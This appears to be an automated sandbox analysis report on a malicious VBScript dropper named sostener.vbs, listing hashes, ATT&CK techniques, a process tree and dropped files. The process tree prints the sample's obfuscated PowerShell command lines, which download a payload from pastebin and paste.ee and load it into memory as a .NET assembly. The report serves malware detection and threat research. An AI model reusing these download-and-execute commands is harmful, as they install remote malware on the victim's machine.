ee70bac37164bfea88a53013f439328eece11c224dc4f7f09f79fba14a817175

General

Target

sostener.vbs
Size

1.8MB
MD5

f7d37d2cef66cbbefcc48668c18a1fb1
SHA1

cb1dd42e8ce1298c61abdd6ee7c33e506b716aed
SHA256

ee70bac37164bfea88a53013f439328eece11c224dc4f7f09f79fba14a817175
SHA512

18977a9485aa4412db236ee0d2e69fafa9a0725d610a245e9a0cfeabbccbc554fb9d7e98d2a528911ed661eb78e99ea760cb5b328fa825fb478851b136c74fbc
SSDEEP

768:ufdk9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9S:ufdy

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/V9y5Q5vv

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	2020	powershell.exe
7	2020	powershell.exe
9	2020	powershell.exe
12	2020	powershell.exe
14	2020	powershell.exe
16	2020	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2020	powershell.exe
1152	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1152	powershell.exe
2020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 1152	3040	WScript.exe	28
PID 3040 wrote to memory of 1152	3040	WScript.exe	28
PID 3040 wrote to memory of 1152	3040	WScript.exe	28
PID 1152 wrote to memory of 2020	1152	powershell.exe	30
PID 1152 wrote to memory of 2020	1152	powershell.exe	30
PID 1152 wrote to memory of 2020	1152	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bi☼GI☼cwBl☼HM☼I☼☼9☼C☼☼Jw☼w☼Cc☼Ow☼k☼Go☼e☼Bt☼Go☼ag☼g☼D0☼I☼☼n☼CU☼c☼B6☼EE☼YwBP☼Gc☼SQBu☼E0☼cg☼l☼Cc☼OwBb☼EI☼eQB0☼GU☼WwBd☼F0☼I☼☼k☼G8☼awBk☼Hk☼dg☼g☼D0☼I☼Bb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QwBv☼G4☼dgBl☼HI☼d☼Bd☼Do☼OgBG☼HI☼bwBt☼EI☼YQBz☼GU☼Ng☼0☼FM☼d☼By☼Gk☼bgBn☼Cg☼I☼☼o☼E4☼ZQB3☼C0☼TwBi☼Go☼ZQBj☼HQ☼I☼BO☼GU☼d☼☼u☼Fc☼ZQBi☼EM☼b☼Bp☼GU☼bgB0☼Ck☼LgBE☼G8☼dwBu☼Gw☼bwBh☼GQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼Cc☼a☼B0☼HQ☼c☼Bz☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼G8☼awBk☼Hk☼dg☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼D☼☼LwBX☼Ho☼O☼BG☼Gg☼LwBk☼C8☼ZQBl☼C4☼ZQB0☼HM☼YQBw☼C8☼Lw☼6☼HM☼c☼B0☼HQ☼a☼☼n☼C☼☼L☼☼g☼CQ☼agB4☼G0☼agBq☼C☼☼L☼☼g☼Cc☼XwBf☼F8☼XwBf☼F8☼d☼By☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼Xw☼t☼C0☼LQ☼t☼C0☼LQ☼t☼Cc☼L☼☼g☼CQ☼YgBi☼HM☼ZQBz☼Cw☼I☼☼n☼DE☼Jw☼s☼C☼☼JwBS☼G8☼Z☼Bh☼Cc☼I☼☼p☼Ck☼Ow☼=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbses = '0';$jxmjj = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[Byte[]] $okdyv = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($okdyv).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/Wz8Fh/d/ee.etsap//:sptth' , $jxmjj , '______tr______________________________________-------', $bbses, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
be180dd24ed900738b2bf16d93a292f9

SHA1
79112e161485bd57185a7bcfd4fb68db21ef33dc

SHA256
226c291914d6713bf671b7a161386b4792227dc10a16cb171889a142ce9da774

SHA512
d8ab26f216926c7e14866b7d257acaf6789947acafb14a46465abb58ce6fba1be3e79d1b7e8671433769410a226679be83e02dfae9ff653a780bc6499a9c4686

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
84607de4e5b5ded14969b88597866120

SHA1
3ac0002f9e97fa271fa05993def31977913d000b

SHA256
db5a9d88ccddf5cb623b9a666753c5249d8f1fd4c7ef0adba919c37c1bce704f

SHA512
3af5080ba150cd16e347dfb4f0f00440df87f2b4b215ef2f8211198bb3df30789d6ab161e961072c17a81e13a7b1a564a02dfc71fd8729f912d7502d22699401

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
0195d2df21e85f68711c6fba06289c73

SHA1
6596b5d55689fdbf4075510ef3f445cb1ea80289

SHA256
7950d7ebacb4f26bdb35eb7734491a88d4a4bad01afb8bd58054035eb6fd18ad

SHA512
fa9d9adcdff7ebb39d7349c3e864823a77ab583e0d314d5845ce903ac2564af41dbed40f6904d72dec82b2cf55ea8f95716125770dd0488d935d03bed84dc610

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar37D7.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GL60VJ2HV52X63VBYMUI.temp

Filesize
7KB

MD5
0476aa33e3271d6304ac3501af19eaa5

SHA1
13bbf61c861d3e6742e6f5754aaf7d1ac12af4a8

SHA256
eaab4e9278d73d266a88d6fef1a10340b24922c6b1fcd2c4322095c5d7fa91ee

SHA512
02b84e9d24211212c889230a8b2e96201c565c5983c2f93f3a34c7bf761e4c743a2f5fe0b5f6e6d9c1de4d8f43224f4f4a66a17ef9775ca85a743b8c39538e8b

Download Submit
memory/1152-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-4-0x000007FEF619E000-0x000007FEF619F000-memory.dmp

Filesize
4KB

Download
memory/1152-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-9-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-8-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-7-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-6-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/1152-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1152-117-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-116-0x000000001BC20000-0x000000001BC2A000-memory.dmp

Filesize
40KB

Download

Analysis

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